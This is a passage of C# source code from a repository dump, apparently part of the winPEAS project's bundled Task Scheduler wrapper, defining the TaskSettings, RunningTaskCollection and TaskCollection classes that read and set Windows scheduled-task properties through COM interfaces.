XmlSerializationHelper.ReadObjectProperties(reader, this, ProcessVersionXml);\n                reader.ReadEndElement();\n            }\n            else\n                reader.Skip();\n        }\n\n        void IXmlSerializable.WriteXml(XmlWriter writer) => XmlSerializationHelper.WriteObjectProperties(writer, this, ProcessVersionXml);\n\n        internal static string FixCrLf(string text) => text == null ? null : Regex.Replace(text, \"(?<!\\r)\\n|\\r(?!\\n)\", \"\\r\\n\");\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n\n        private bool ProcessVersionXml(PropertyInfo pi, object obj, ref object value)\n        {\n            if (pi.Name != \"Version\" || value == null) return false;\n            if (value is Version)\n                value = value.ToString();\n            else if (value is string)\n                value = new Version(value.ToString());\n            return true;\n        }\n    }\n\n    /// <summary>Provides the settings that the Task Scheduler service uses to perform the task.</summary>\n    [XmlRoot(\"Settings\", Namespace = TaskDefinition.tns, IsNullable = true)]\n    [PublicAPI]\n    public sealed class TaskSettings : IDisposable, IXmlSerializable, INotifyPropertyChanged\n    {\n        private const uint InfiniteRunTimeV1 = 0xFFFFFFFF;\n\n        private readonly ITaskSettings v2Settings;\n        private readonly ITaskSettings2 v2Settings2;\n        private readonly ITaskSettings3 v2Settings3;\n        private IdleSettings idleSettings;\n        private MaintenanceSettings maintenanceSettings;\n        private NetworkSettings networkSettings;\n        private ITask v1Task;\n\n        internal TaskSettings([NotNull] ITaskSettings iSettings)\n        {\n            v2Settings = iSettings;\n            try { if (Environment.OSVersion.Version >= new Version(6, 1)) v2Settings2 = (ITaskSettings2)v2Settings; }\n            catch { }\n            try { if (Environment.OSVersion.Version >= new Version(6, 2)) v2Settings3 = (ITaskSettings3)v2Settings; }\n            catch { }\n        }\n\n        internal TaskSettings([NotNull] ITask iTask) => v1Task = iTask;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu.\n        /// </summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(true)]\n        [XmlElement(\"AllowStartOnDemand\")]\n        [XmlIgnore]\n        public bool AllowDemandStart\n        {\n            get => v2Settings == null || v2Settings.AllowDemandStart;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.AllowDemandStart = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(true)]\n        [XmlIgnore]\n        public bool AllowHardTerminate\n        {\n            get => v2Settings == null || v2Settings.AllowHardTerminate;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.AllowHardTerminate = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [XmlIgnore]\n        public TaskCompatibility Compatibility\n        {\n            get => v2Settings?.Compatibility ?? TaskCompatibility.V1;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.Compatibility = value;\n                else\n                    if (value != TaskCompatibility.V1)\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is\n        /// specified for this property, then the Task Scheduler service will not delete the task.\n        /// </summary>\n        /// <value>\n        /// Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value\n        /// of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted.\n        /// </value>\n        /// <remarks>\n        /// A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a\n        /// trigger is specified by the <c>EndBoundary</c> property of all trigger types.\n        /// </remarks>\n        [DefaultValue(typeof(TimeSpan), \"12:00:00\")]\n        public TimeSpan DeleteExpiredTaskAfter\n        {\n            get\n            {\n                if (v2Settings != null)\n                    return v2Settings.DeleteExpiredTaskAfter == \"PT0S\" ? TimeSpan.FromSeconds(1) : Task.StringToTimeSpan(v2Settings.DeleteExpiredTaskAfter);\n                return v1Task.HasFlags(TaskFlags.DeleteWhenDone) ? TimeSpan.FromSeconds(1) : TimeSpan.Zero;\n            }\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.DeleteExpiredTaskAfter = value == TimeSpan.FromSeconds(1) ? \"PT0S\" : Task.TimeSpanToString(value);\n                else\n                    v1Task.SetFlags(TaskFlags.DeleteWhenDone, value >= TimeSpan.FromSeconds(1));\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power.\n        /// </summary>\n        [DefaultValue(true)]\n        public bool DisallowStartIfOnBatteries\n        {\n            get => v2Settings?.DisallowStartIfOnBatteries ?? v1Task.HasFlags(TaskFlags.DontStartIfOnBatteries);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.DisallowStartIfOnBatteries = value;\n                else\n                    v1Task.SetFlags(TaskFlags.DontStartIfOnBatteries, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote\n        /// Applications Integrated Locally (RAIL) session.\n        /// </summary>\n        /// <exception cref=\"NotSupportedPriorToException\">Property set for a task on a Task Scheduler version prior to 2.1.</exception>\n        [DefaultValue(false)]\n        [XmlIgnore]\n        public bool DisallowStartOnRemoteAppSession\n        {\n            get\n            {\n                if (v2Settings2 != null)\n                    return v2Settings2.DisallowStartOnRemoteAppSession;\n                if (v2Settings3 != null)\n                    return v2Settings3.DisallowStartOnRemoteAppSession;\n                return false;\n            }\n            set\n            {\n                if (v2Settings2 != null)\n                    v2Settings2.DisallowStartOnRemoteAppSession = value;\n                else if (v2Settings3 != null)\n                    v2Settings3.DisallowStartOnRemoteAppSession = value;\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_1);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE.\n        /// </summary>\n        [DefaultValue(true)]\n        public bool Enabled\n        {\n            get => v2Settings?.Enabled ?? !v1Task.HasFlags(TaskFlags.Disabled);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.Enabled = value;\n                else\n                    v1Task.SetFlags(TaskFlags.Disabled, !value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it\n        /// starts to run.\n        /// </summary>\n        /// <value>\n        /// The amount of time that is allowed to complete the task. When this parameter is set to <see cref=\"TimeSpan.Zero\"/>, the\n        /// execution time limit is infinite.\n        /// </value>\n        /// <remarks>\n        /// If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not\n        /// be terminated if it exceeds the ExecutionTimeLimit.\n        /// </remarks>\n        [DefaultValue(typeof(TimeSpan), \"3\")]\n        public TimeSpan ExecutionTimeLimit\n        {\n            get\n            {\n                if (v2Settings != null)\n                    return Task.StringToTimeSpan(v2Settings.ExecutionTimeLimit);\n                var ms = v1Task.GetMaxRunTime();\n                return ms == InfiniteRunTimeV1 ? TimeSpan.Zero : TimeSpan.FromMilliseconds(ms);\n            }\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.ExecutionTimeLimit = value == TimeSpan.Zero ? \"PT0S\" : Task.TimeSpanToString(value);\n                else\n                {\n                    // Due to an issue introduced in Vista, and propagated to Windows 7, setting the MaxRunTime to INFINITE results in the\n                    // task only running for 72 hours. For these operating systems, setting the RunTime to \"INFINITE - 1\" gets the desired\n                    // behavior of allowing an \"infinite\" run of the task.\n                    var ms = value == TimeSpan.Zero ? InfiniteRunTimeV1 : Convert.ToUInt32(value.TotalMilliseconds);\n                    v1Task.SetMaxRunTime(ms);\n                    if (value == TimeSpan.Zero && v1Task.GetMaxRunTime() != InfiniteRunTimeV1)\n                        v1Task.SetMaxRunTime(InfiniteRunTimeV1 - 1);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default.</summary>\n        [DefaultValue(false)]\n        public bool Hidden\n        {\n            get => v2Settings?.Hidden ?? v1Task.HasFlags(TaskFlags.Hidden);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.Hidden = value;\n                else\n                    v1Task.SetFlags(TaskFlags.Hidden, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the information that the Task Scheduler uses during Automatic maintenance.</summary>\n        [XmlIgnore]\n        [NotNull]\n        public MaintenanceSettings MaintenanceSettings => maintenanceSettings ??= new MaintenanceSettings(v2Settings3);\n\n        /// <summary>Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TaskInstancesPolicy), \"IgnoreNew\")]\n        [XmlIgnore]\n        public TaskInstancesPolicy MultipleInstances\n        {\n            get => v2Settings?.MultipleInstances ?? TaskInstancesPolicy.IgnoreNew;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.MultipleInstances = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the priority level of the task.</summary>\n        /// <value>The priority.</value>\n        /// <exception cref=\"NotV1SupportedException\">Value set to AboveNormal or BelowNormal on Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(ProcessPriorityClass), \"Normal\")]\n        public ProcessPriorityClass Priority\n        {\n            get => v2Settings != null ? GetPriorityFromInt(v2Settings.Priority) : (ProcessPriorityClass)v1Task.GetPriority();\n            set\n            {\n                if (v2Settings != null)\n                {\n                    v2Settings.Priority = GetPriorityAsInt(value);\n                }\n                else\n                {\n                    if (value == ProcessPriorityClass.AboveNormal || value == ProcessPriorityClass.BelowNormal)\n                        throw new NotV1SupportedException(\"Unsupported priority level on Task Scheduler 1.0.\");\n                    v1Task.SetPriority((uint)value);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the number of times that the Task Scheduler will attempt to restart the task.</summary>\n        /// <value>\n        /// The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the <see\n        /// cref=\"RestartInterval\"/> property must also be set.\n        /// </value>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(0)]\n        [XmlIgnore]\n        public int RestartCount\n        {\n            get => v2Settings?.RestartCount ?? 0;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.RestartCount = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task.</summary>\n        /// <value>\n        /// A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the <see\n        /// cref=\"RestartCount\"/> property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute.\n        /// </value>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan RestartInterval\n        {\n            get => v2Settings != null ? Task.StringToTimeSpan(v2Settings.RestartInterval) : TimeSpan.Zero;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.RestartInterval = Task.TimeSpanToString(value);\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition.\n        /// </summary>\n        [DefaultValue(false)]\n        public bool RunOnlyIfIdle\n        {\n            get => v2Settings?.RunOnlyIfIdle ?? v1Task.HasFlags(TaskFlags.StartOnlyIfIdle);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.RunOnlyIfIdle = value;\n                else\n                    v1Task.SetFlags(TaskFlags.StartOnlyIfIdle, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only)\n        /// </summary>\n        /// <exception cref=\"NotV2SupportedException\">Property set for a task on a Task Scheduler version other than 1.0.</exception>\n        [XmlIgnore]\n        public bool RunOnlyIfLoggedOn\n        {\n            get => v2Settings != null || v1Task.HasFlags(TaskFlags.RunOnlyIfLoggedOn);\n            set\n            {\n                if (v1Task != null)\n                    v1Task.SetFlags(TaskFlags.RunOnlyIfLoggedOn, value);\n                else if (v2Settings != null)\n                    throw new NotV2SupportedException(\"Task Scheduler 2.0 (1.2) does not support setting this property. You must use an InteractiveToken in order to have the task run in the current user session.\");\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available.</summary>\n        [DefaultValue(false)]\n        public bool RunOnlyIfNetworkAvailable\n        {\n            get => v2Settings?.RunOnlyIfNetworkAvailable ?? v1Task.HasFlags(TaskFlags.RunIfConnectedToInternet);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.RunOnlyIfNetworkAvailable = value;\n                else\n                    v1Task.SetFlags(TaskFlags.RunIfConnectedToInternet, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed.\n        /// </summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(false)]\n        [XmlIgnore]\n        public bool StartWhenAvailable\n        {\n            get => v2Settings != null && v2Settings.StartWhenAvailable;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.StartWhenAvailable = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power.</summary>\n        [DefaultValue(true)]\n        public bool StopIfGoingOnBatteries\n        {\n            get => v2Settings?.StopIfGoingOnBatteries ?? v1Task.HasFlags(TaskFlags.KillIfGoingOnBatteries);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.StopIfGoingOnBatteries = value;\n                else\n                    v1Task.SetFlags(TaskFlags.KillIfGoingOnBatteries, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task.</summary>\n        /// <exception cref=\"NotSupportedPriorToException\">Property set for a task on a Task Scheduler version prior to 2.1.</exception>\n        [DefaultValue(false)]\n        [XmlIgnore]\n        public bool UseUnifiedSchedulingEngine\n        {\n            get\n            {\n                if (v2Settings2 != null)\n                    return v2Settings2.UseUnifiedSchedulingEngine;\n                if (v2Settings3 != null)\n                    return v2Settings3.UseUnifiedSchedulingEngine;\n                return false;\n            }\n            set\n            {\n                if (v2Settings2 != null)\n                    v2Settings2.UseUnifiedSchedulingEngine = value;\n                else if (v2Settings3 != null)\n                    v2Settings3.UseUnifiedSchedulingEngine = value;\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_1);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts.</summary>\n        /// <exception cref=\"NotSupportedPriorToException\">Property set for a task on a Task Scheduler version prior to 2.2.</exception>\n        [DefaultValue(false)]\n        [XmlIgnore]\n        public bool Volatile\n        {\n            get => v2Settings3 != null && v2Settings3.Volatile;\n            set\n            {\n                if (v2Settings3 != null)\n                    v2Settings3.Volatile = value;\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_2);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task.\n        /// </summary>\n        [DefaultValue(false)]\n        public bool WakeToRun\n        {\n            get => v2Settings?.WakeToRun ?? v1Task.HasFlags(TaskFlags.SystemRequired);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.WakeToRun = value;\n                else\n                    v1Task.SetFlags(TaskFlags.SystemRequired, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets an XML-formatted definition of the task settings.</summary>\n        [XmlIgnore]\n        public string XmlText\n        {\n            get => v2Settings != null ? v2Settings.XmlText : XmlSerializationHelper.WriteObjectToXmlText(this);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.XmlText = value;\n                else\n                    XmlSerializationHelper.ReadObjectFromXmlText(value, this);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state.\n        /// </summary>\n        [NotNull]\n        public IdleSettings IdleSettings => idleSettings ??= v2Settings != null ? new IdleSettings(v2Settings.IdleSettings) : new IdleSettings(v1Task);\n\n        /// <summary>\n        /// Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable\n        /// property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run\n        /// only if the specified network profile is available.\n        /// </summary>\n        [XmlIgnore]\n        [NotNull]\n        public NetworkSettings NetworkSettings => networkSettings ??= new NetworkSettings(v2Settings?.NetworkSettings);\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Settings != null)\n                Marshal.ReleaseComObject(v2Settings);\n            idleSettings = null;\n            networkSettings = null;\n            v1Task = null;\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString()\n        {\n            if (v2Settings != null || v1Task != null)\n                return DebugHelper.GetDebugString(this);\n            return base.ToString();\n        }\n\n        XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(XmlReader reader)\n        {\n            if (!reader.IsEmptyElement)\n            {\n                reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns);\n                XmlSerializationHelper.ReadObjectProperties(reader, this, ConvertXmlProperty);\n                reader.ReadEndElement();\n            }\n            else\n                reader.Skip();\n        }\n\n        void IXmlSerializable.WriteXml(XmlWriter writer) => XmlSerializationHelper.WriteObjectProperties(writer, this, ConvertXmlProperty);\n\n        private bool ConvertXmlProperty(PropertyInfo pi, object obj, ref object value)\n        {\n            if (pi.Name == \"Priority\" && value != null)\n            {\n                if (value is int)\n                    value = GetPriorityFromInt((int)value);\n                else if (value is ProcessPriorityClass)\n                    value = GetPriorityAsInt((ProcessPriorityClass)value);\n                return true;\n            }\n            return false;\n        }\n\n        private int GetPriorityAsInt(ProcessPriorityClass value)\n        {\n            // Check for back-door case where exact value is being passed and cast to ProcessPriorityClass\n            if ((int)value <= 10 && value >= 0) return (int)value;\n            var p = 7;\n            switch (value)\n            {\n                case ProcessPriorityClass.AboveNormal:\n                    p = 3;\n                    break;\n\n                case ProcessPriorityClass.High:\n                    p = 1;\n                    break;\n\n                case ProcessPriorityClass.Idle:\n                    p = 10;\n                    break;\n\n                case ProcessPriorityClass.Normal:\n                    p = 5;\n                    break;\n\n                case ProcessPriorityClass.RealTime:\n                    p = 0;\n                    break;\n                    // case ProcessPriorityClass.BelowNormal: default: break;\n            }\n            return p;\n        }\n\n        private ProcessPriorityClass GetPriorityFromInt(int value)\n        {\n            switch (value)\n            {\n                case 0:\n                    return ProcessPriorityClass.RealTime;\n\n                case 1:\n                    return ProcessPriorityClass.High;\n\n                case 2:\n                case 3:\n                    return ProcessPriorityClass.AboveNormal;\n\n                case 4:\n                case 5:\n                case 6:\n                    return ProcessPriorityClass.Normal;\n                // case 7: case 8:\n                default:\n                    return ProcessPriorityClass.BelowNormal;\n\n                case 9:\n                case 10:\n                    return ProcessPriorityClass.Idle;\n            }\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n\n    internal static class DebugHelper\n    {\n        [System.Diagnostics.CodeAnalysis.SuppressMessage(\"Language\", \"CSE0003:Use expression-bodied members\", Justification = \"<Pending>\")]\n        public static string GetDebugString(object inst)\n        {\n#if DEBUG\n\t\t\tvar sb = new StringBuilder();\n\t\t\tforeach (var pi in inst.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly))\n\t\t\t{\n\t\t\t\tif (pi.Name.StartsWith(\"Xml\"))\n\t\t\t\t\tcontinue;\n\t\t\t\tvar outval = pi.GetValue(inst, null);\n\t\t\t\tif (outval != null)\n\t\t\t\t{\n\t\t\t\t\tvar defval = XmlSerializationHelper.GetDefaultValue(pi);\n\t\t\t\t\tif (!outval.Equals(defval))\n\t\t\t\t\t{\n\t\t\t\t\t\tvar s = $\"{pi.Name}:{outval}\";\n\t\t\t\t\t\tif (s.Length > 30) s = s.Remove(30);\n\t\t\t\t\t\tsb.Append(s + \"; \");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn sb.ToString();\n#else\n            return inst.GetType().ToString();\n#endif\n        }\n    }\n\n    internal static class TSInteropExt\n    {\n        public static string GetDataItem(this ITask v1Task, string name)\n        {\n            TaskDefinition.GetV1TaskDataDictionary(v1Task).TryGetValue(name, out var ret);\n            return ret;\n        }\n\n        public static bool HasFlags(this ITask v1Task, TaskFlags flags) => v1Task.GetFlags().IsFlagSet(flags);\n\n        public static void SetDataItem(this ITask v1Task, string name, string value)\n        {\n            var d = TaskDefinition.GetV1TaskDataDictionary(v1Task);\n            d[name] = value;\n            TaskDefinition.SetV1TaskData(v1Task, d);\n        }\n\n        public static void SetFlags(this ITask v1Task, TaskFlags flags, bool value = true) => v1Task.SetFlags(v1Task.GetFlags().SetFlags(flags, value));\n    }\n\n    internal class DefaultValueExAttribute : DefaultValueAttribute\n    {\n        public DefaultValueExAttribute(Type type, string value) : base(null)\n        {\n            try\n            {\n                if (type == typeof(Version))\n                {\n                    SetValue(new Version(value));\n                    return;\n                }\n                SetValue(TypeDescriptor.GetConverter(type).ConvertFromInvariantString(value));\n            }\n            catch\n            {\n                Debug.Fail(\"Default value attribute of type \" + type.FullName + \" threw converting from the string '\" + value + \"'.\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskCollection.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Text.RegularExpressions;\n\nusing winPEAS.TaskScheduler.TaskEditor.Native;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Collection of running tasks in a <see cref=\"TaskService\"/>. This class has no public constructor and can only be accessed via the\n    /// properties and functions within <see cref=\"TaskService\"/>.\n    /// </summary>\n    public sealed class RunningTaskCollection : IReadOnlyList<RunningTask>, IDisposable\n    {\n        private readonly TaskService svc;\n        private readonly IRunningTaskCollection v2Coll;\n\n        internal RunningTaskCollection([NotNull] TaskService svc) => this.svc = svc;\n\n        internal RunningTaskCollection([NotNull] TaskService svc, [NotNull] IRunningTaskCollection iTaskColl)\n        {\n            this.svc = svc;\n            v2Coll = iTaskColl;\n        }\n\n        /// <summary>Gets the number of registered tasks in the collection.</summary>\n        public int Count\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return v2Coll.Count;\n                var i = 0;\n                var v1Enum = new V1RunningTaskEnumerator(svc);\n                while (v1Enum.MoveNext())\n                    i++;\n                return i;\n            }\n        }\n\n        /// <summary>Gets the specified running task from the collection.</summary>\n        /// <param name=\"index\">The index of the running task to be retrieved.</param>\n        /// <returns>A <see cref=\"RunningTask\"/> instance.</returns>\n        public RunningTask this[int index]\n        {\n            get\n            {\n                if (v2Coll != null)\n                {\n                    var irt = v2Coll[++index];\n                    return new RunningTask(svc, TaskService.GetTask(svc.v2TaskService, irt.Path), irt);\n                }\n\n                var i = 0;\n                var v1Enum = new V1RunningTaskEnumerator(svc);\n                while (v1Enum.MoveNext())\n                    if (i++ == index)\n                        return v1Enum.Current;\n                throw new ArgumentOutOfRangeException(nameof(index));\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Coll != null)\n                Marshal.ReleaseComObject(v2Coll);\n        }\n\n        /// <summary>Gets an IEnumerator instance for this collection.</summary>\n        /// <returns>An enumerator.</returns>\n        public IEnumerator<RunningTask> GetEnumerator()\n        {\n            if (v2Coll != null)\n                return new ComEnumerator<RunningTask, IRunningTask>(() => v2Coll.Count, (object o) => v2Coll[o], o =>\n                {\n                    IRegisteredTask task = null;\n                    try { task = TaskService.GetTask(svc.v2TaskService, o.Path); } catch { }\n                    return task == null ? null : new RunningTask(svc, task, o);\n                });\n            return new V1RunningTaskEnumerator(svc);\n        }\n\n        /// <summary>Returns a <see cref=\"System.String\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"System.String\"/> that represents this instance.</returns>\n        public override string ToString() => $\"RunningTaskCollection; Count: {Count}\";\n\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();\n\n        private class V1RunningTaskEnumerator : IEnumerator<RunningTask>\n        {\n            private readonly TaskService svc;\n            private readonly TaskCollection.V1TaskEnumerator tEnum;\n\n            internal V1RunningTaskEnumerator([NotNull] TaskService svc)\n            {\n                this.svc = svc;\n                tEnum = new TaskCollection.V1TaskEnumerator(svc);\n            }\n\n            public RunningTask Current => new RunningTask(svc, tEnum.ICurrent);\n\n            object System.Collections.IEnumerator.Current => Current;\n\n            /// <summary>Releases all resources used by this class.</summary>\n            public void Dispose() => tEnum.Dispose();\n\n            public bool MoveNext() => tEnum.MoveNext() && (tEnum.Current?.State == TaskState.Running || MoveNext());\n\n            public void Reset() => tEnum.Reset();\n        }\n    }\n\n    /// <summary>\n    /// Contains all the tasks that are registered within a <see cref=\"TaskFolder\"/>. This class has no public constructor and can only be\n    /// accessed via the properties and functions within <see cref=\"TaskFolder\"/>.\n    /// </summary>\n    /// <remarks>\n    /// Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name.\n    /// This has been removed so that it is consistent with V2.\n    /// </remarks>\n    /// <example>\n    ///   <code>public class Program\n    /// {\n    ///    bool RootFolderHasTask(string taskName)\n    ///    {\n    ///       if (TaskService.Instance.RootFolder.Tasks.Count &gt; 0)\n    ///       {\n    ///          return TaskService.Instance.RootFolder.Tasks.Exists(taskName);\n    ///       }\n    ///       return false;\n    ///    }\n    ///\n    ///    TaskCollection GetRootTasksStartingWith(string value)\n    ///    {\n    ///       var pattern = $\"^{Regex.Escape(value)}.*$\";\n    ///       return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern));\n    ///    }\n    ///\n    ///    public static void Main()\n    ///    {\n    ///       foreach (var task in GetRootTasksStartingWith(\"MyCo\"))\n    ///          if (RootFolderHasTask(task.Name))\n    ///             Console.WriteLine(task.Name);\n    ///    }\n    /// }</code>\n    /// </example>\n    [PublicAPI]\n    public sealed class TaskCollection : IReadOnlyList<Task>, IDisposable\n    {\n        private readonly TaskFolder fld;\n        private readonly TaskService svc;\n        private readonly IRegisteredTaskCollection v2Coll;\n        private Regex filter;\n        private ITaskScheduler v1TS;\n\n        internal TaskCollection([NotNull] TaskService svc, Regex filter = null)\n        {\n            this.svc = svc;\n            Filter = filter;\n            v1TS = svc.v1TaskScheduler;\n        }\n\n        internal TaskCollection([NotNull] TaskFolder folder, [NotNull] IRegisteredTaskCollection iTaskColl, Regex filter = null)\n        {\n            svc = folder.TaskService;\n            Filter = filter;\n            fld = folder;\n            v2Coll = iTaskColl;\n        }\n\n        /// <summary>Gets the number of registered tasks in the collection.</summary>\n        public int Count\n        {\n            get\n            {\n                var i = 0;\n                if (v2Coll != null)\n                {\n                    var v2Enum = new V2TaskEnumerator(fld, v2Coll, filter);\n                    while (v2Enum.MoveNext())\n                        i++;\n                }\n                else\n                {\n                    var v1Enum = new V1TaskEnumerator(svc, filter);\n                    return v1Enum.Count;\n                }\n                return i;\n            }\n        }\n\n        /// <summary>Gets or sets the regular expression filter for task names.</summary>\n        /// <value>The regular expression filter.</value>\n        private Regex Filter\n        {\n            get => filter;\n            set\n            {\n                var sfilter = value?.ToString().TrimStart('^').TrimEnd('$') ?? string.Empty;\n                if (sfilter == string.Empty || sfilter == \"*\")\n                    filter = null;\n                else\n                {\n                    if (value != null && value.ToString().TrimEnd('$').EndsWith(\"\\\\.job\", StringComparison.InvariantCultureIgnoreCase))\n                        filter = new Regex(value.ToString().Replace(\"\\\\.job\", \"\"));\n                    else\n                        filter = value;\n                }\n            }\n        }\n\n        /// <summary>Gets the specified registered task from the collection.</summary>\n        /// <param name=\"index\">The index of the registered task to be retrieved.</param>\n        /// <returns>A <see cref=\"Task\"/> instance that contains the requested context.</returns>\n        public Task this[int index]\n        